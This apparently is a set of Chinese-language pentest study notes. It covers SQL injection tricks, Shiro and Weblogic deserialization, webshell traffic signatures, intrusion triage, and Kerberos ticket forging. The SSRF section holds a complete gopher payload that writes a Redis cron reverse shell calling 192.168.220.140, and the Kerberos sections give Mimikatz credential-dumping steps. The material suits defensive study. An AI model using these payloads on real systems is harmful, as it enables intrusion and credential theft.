Appearance
fastjson不出网利用 fastjson≤1.2.24 条件:BasicDataSource只需要有dbcp或tomcat-dbcp的依赖即可,dbcp即数据库连接池,在java中用于管理数据库连接,还是挺常见的。
安全加固的思路
操作系统加固、配置加固、 应用程序加固、软件加固、服务器加固邮箱定位画像
- 最好的反击方式当然是渗透拿下对方的钓鱼网站,删除收信箱子。并且反钓鱼,收集对方各种信息指纹等。但是鉴于对方这些域名已经无法访问,那么此方式略过;
- 封掉这些域名。域名注册机构为西部数码,官网西部数码-15年老牌云服务器、虚拟主机、域名注册服务商!你可以整理一下证据,像西部反映一下。 或者去相关网站举报这些网站。
sql注入dnslog外带
利用UNC路径去访问服务器,dns会有日志,通过子查询,将内容拼接到域名内,利用MYSQL内置函数load_file()去访问共享文件,访问的域名被记录,此时变为显错注入,将盲注变显错注入,读取远程共享文件,通过拼接出函数做查询,拼接到域名中,访问时将访问服务器,记录后查看日志。
注:load_file函数在Linux下是无法用来做dnslog攻击的,涉及到Windows中的UNC路径。(linux中不存在UNC路径)sql注入堆叠
堆叠注入,顾名思义,就是将语句堆叠在一起进行查询。
原理:mysql_multi_query() 支持多条sql语句同时执行,就是个;分隔,成堆的执行sql语句。如下代码,同时执行以上两条命令,所以我们可以增删改查,只要权限够。select * from users;show databases;虽然这个注入姿势很牛逼,但实际遇到很少,其可能受到API或者数据库引擎,又或者权限的限制只有当调用数据库函数支持执行多条sql语句时才能够使用,利用mysqli_multi_query()函数就支持多条sql语句同时执行,但实际情况中,如PHP为了防止sql注入机制,往往使用调用数据库的函数是mysqli_ query()函数,其只能执行一条语句,分号后面的内容将不会被执行,所以可以说堆叠注入的使用条件十分有限,一旦能够被使用,将可能对网站造成十分大的威胁。
ssrf利用ridis打内网
通过【curl命令】和【gopher协议】远程攻击内网redis。
gopher协议是比http协议更早出现的协议,现在已经不常用了,但是在SSRF漏洞利用中gopher可以说是万金油,因为可以使用gopher发送各种格式的请求包,这样就可以解决漏洞点不在GET参数的问题了。
gopher协议可配合linux下的curl命令伪造POST请求包发给内网主机。此种方法能攻击成功的前提条件是:redis是以root权限运行的。curl -v 'http://xxx.xxx.xx.xx/xx.php?url= gopher://172.21.0.2:6379/ _*1%250d%250a%248%250d%250aflushall%250d%250a%2a3%250d%250a%243%250d%250aset%250d%250a%241%250d%250a1%250d%250a%2464%250d%250a%250d%250a%250a%250a%2a%2f1%20%2a%20%2a%20%2a%20%2a%20bash%20-i%20%3E%26%20%2fdev%2ftcp%2f192.168.220.140%2f2333%200%3E%261%250a%250a%250a%250a%250a%250d%250a%250d%250a%250d%250a%2a4%250d%250a%246%250d%250aconfig%250d%250a%243%250d%250aset%250d%250a%243%250d%250adir%250d%250a%2416%250d%250a%2fvar%2fspool%2fcron%2f%250d%250a%2a4%250d%250a%246%250d%250aconfig%250d%250a%243%250d%250aset%250d%250a%2410%250d%250adbfilename%250d%250a%244%250d%250aroot%250d%250a%2a1%250d%250a%244%250d%250asave%250d%250aquit%250d%250a'解释:
1、redis命令进行了两次url编码,这里是通过gopher协议伪造的请求包用curl命令来发送;
2、payload采用的是bash反弹,定时程序路径是/var/spool/cron/root
发送请求之前在公网机192.168.220.140开启nc监听端口2333nc -lvp 2333 (或nc -l 2333)流量的了解
- 冰蝎 2.0 强特征是 accept 里面有个 q=.2
- 冰蝎 3.0 Content-Type: application/octet-stream
- 冰蝎 4.0 ua头 referer头 accept 默认aes128 秘闻长度16整数倍
- 蚁剑是 ua 有 answord 蚁剑的加密特征是以 "0x.....="开头
- 哥斯拉 pass 字段
- 菜刀流量存在一些特征字 eval base64
- AWVS 扫描器的特征 :主要是看请求包中是否含有 acunetix wvs 字段
- Nessus 扫描器的特征:nessus 字段
shiro框架了解
Apache Shiro框架提供了记住我(RememberMe)的功能,关闭浏览器再次访问时无需再登录即可访问。shiro默认使用Cookie RememberMe Manager,对rememberMe的cookie做了加密处理。
在CookieRememberMeManaer类中将cookie中rememberMe字段内容先后进行序列化:AES加密 -> Base64编码操作。
服务器端识别身份解密处理cookie的流程则是:
获取rememberMe cookie ->base64 解码->AES解密(加密密钥硬编码)->反序列化(未作过滤处理)。
但是AES加密的密钥Key被硬编码(密钥初始就被定义好不能动态改变的)在代码里,这就意味着每个人通过源代码都能拿到AES加密的密钥。
因此,攻击者可以构造一个恶意的对象,并且对其序列化、AES加密、base64编码后,作为cookie的rememberMe字段发送。
Shiro将rememberMe进行解密并且反序列化,最终就造成了反序列化的RCE漏洞。只要rememberMe的AES加密密钥泄露,
无论shiro是什么版本都可能会导致该漏洞的产生.硬编码是将数据直接嵌入到程序或其他可执行对象的源代码中。
如果在返回包的 Set-Cookie 中存在 rememberMe=deleteMe 字段,那么就可能存在此漏洞。shrio550和721的区别
主要区别在于Shiro550使用已知默认密码,只要有足够的密码。
Shiro721的ase加密的key为系统随机生成,需要利用登录后的rememberMe去爆破正确的key值。利用有效的RememberMe Cookie作为Padding Oracle Attack的前缀,再去构造反序列化攻击。fastjson反序列化漏洞原理
log4j的漏洞原理
Windows 入侵排查思路
- 检查系统账号安全(查看服务器是否有弱口令,Netstat 查看网络连接对应的进程,再通过 tasklist 进行进程定位)
- 查看系统登录日志,筛查 4776、4624(登录成功)事件进行分析
- 使用命令 lusrmgr.msc 查看服务器是否存在可疑账号、新增账户
- 使用 compmgmt.msc 查看本地用户组有没有隐藏账户
- 导出日志利用 Log Parser 查看管理员登录时间、用户是否存在异常
- 运行 taskschd.msc 排查有无可疑的计划任务
- 输入%UserProfile%\Recent 分析最近打开过的可疑文件
- 分析中间件日志,如 tomcat 的 logs 文件夹 localhost_access_log 日志文件 Appace 的access.log 日志文件。
Linux 入侵排查思路
- 分析安全日志 /var/log/secure 查看是否有 IP 爆破成功
- 查看/etc/passwd 分析是否存在攻击者创建的恶意用户
- 查看命令执行记录 ~/.bash_history 分析近期是否有账户执行过恶意操作系统命令
- 分析/var/spool/mail/root Root 邮箱,当日志被删除可查询本文件
- 分析中间件、Web 日志,如 access_log 文件
- 调用命令 last/lastb 翻阅登录日志
- 分析/var/log/cron 文件查看历史计划任务
- 分析 history 日志分析操作命令记录
- 分析 redis、sql server、mysql、oracle 等日志文件
制作白银票据的思路
- 条件
- 域名称
- 域的SID值
- 域的服务账户的密码HASH
- 伪造的用户名,一般为管理员(如administrator)
- 需要访问的服务
- 步骤:
- 获取凭据信息:
- 以管理员权限运行 Mimikatz。
- 运行 mimikatzprivilege::debug 提升权限。
- 运行 sekurlsa::logonpasswords 获取 service 账户的哈希和 SID。
- 清空本地票据缓存:
- 使用 Kerberos 工具清理本地票据缓存:kerberos::purge。
- 查看本地保存的票据列表:kerberos::list。
- 伪造白银票据并导入:
- 使用 Kerberos 工具伪造白银票据并导入:kerberos::golden,参数包括域名、SID、目标主机、RC4 哈希、服务和伪造用户名。
- 访问域控的共享目录:
- 执行命令 dir \win08\c$ 访问域控的共享目录。
- 远程登录执行命令:PsExec.exe \win08 cmd.exe。
- 使用 whoami 命令查看权限
- 获取凭据信息:
- 条件
黄金票据制作步骤
- 要求:
- 域名称:通过 AD PowerShell 模块获取(Get-ADDomain)。
- 域的SID值:同样通过 AD PowerShell 模块获取(Get-ADDomain)。
- 域的KRBTGT账户NTLM密码哈希。
- 伪造的用户名。
- 制作步骤:
- 获取域信息:
- 使用 AD PowerShell 模块中的 Get-ADDomain 命令获取域名称和SID值。
- 获取KRBTGT账户NTLM密码哈希:
- KRBTGT账户的 NTLM 密码哈希是制作黄金票据的关键信息,可以通过各种手段获取,比如 Mimikatz 工具等。
- 伪造用户名:
- 选择要伪造的用户名,一般选择具有高权限的用户,如管理员(administrator)。
- 制作黄金票据:
- 使用 Mimikatz 或类似工具,使用获取到的域信息和KRBTGT账户的NTLM密码哈希,伪造黄金票据。
- 命令格式通常为:kerberos::golden,参数包括域名称、SID值、伪造用户名、目标主机等。
- 导入黄金票据:
- 将伪造的黄金票据导入到目标系统,以获取高权限访问权限。
- 注意:
- 制作黄金票据需要获取到域的关键信息和KRBTGT账户的NTLM密码哈希,确保信息的准确性和安全性。
- 使用 Mimikatz 或其他工具时,需谨慎操作,确保合法授权和合规性。
- 获取域信息:
- 要求:
Weblogic原理
- 直接通过T3协议发送恶意反序列化对象:
- 利用T3协议直接发送恶意的反序列化对象,利用漏洞如CVE-2015-4582、CVE-2016-0638、CVE-2016-3510、CVE-2020-2555、CVE-2020-2883等。
- 利用T3协议配合RMP或ND接口反向发送反序列化数据:
- 使用T3协议与RMP或ND接口结合,反向发送反序列化数据,利用漏洞如CVE-2017-3248、CVE-2018-2628、CVE-2018-2893、CVE-2018-3245、CVE-2018-3191、CVE-2020-14644、CVE-2020-14645,以及利用IIOP协议的CVE-2020-2551等。
- 通过JavaBean XML方式发送反序列化数据:
- 使用JavaBean XML方式发送反序列化数据,利用漏洞链如CVE2017-3506、CVE-2017-10271、CVE2019-2725、CVE-2019-2729等。
- 直接通过T3协议发送恶意反序列化对象: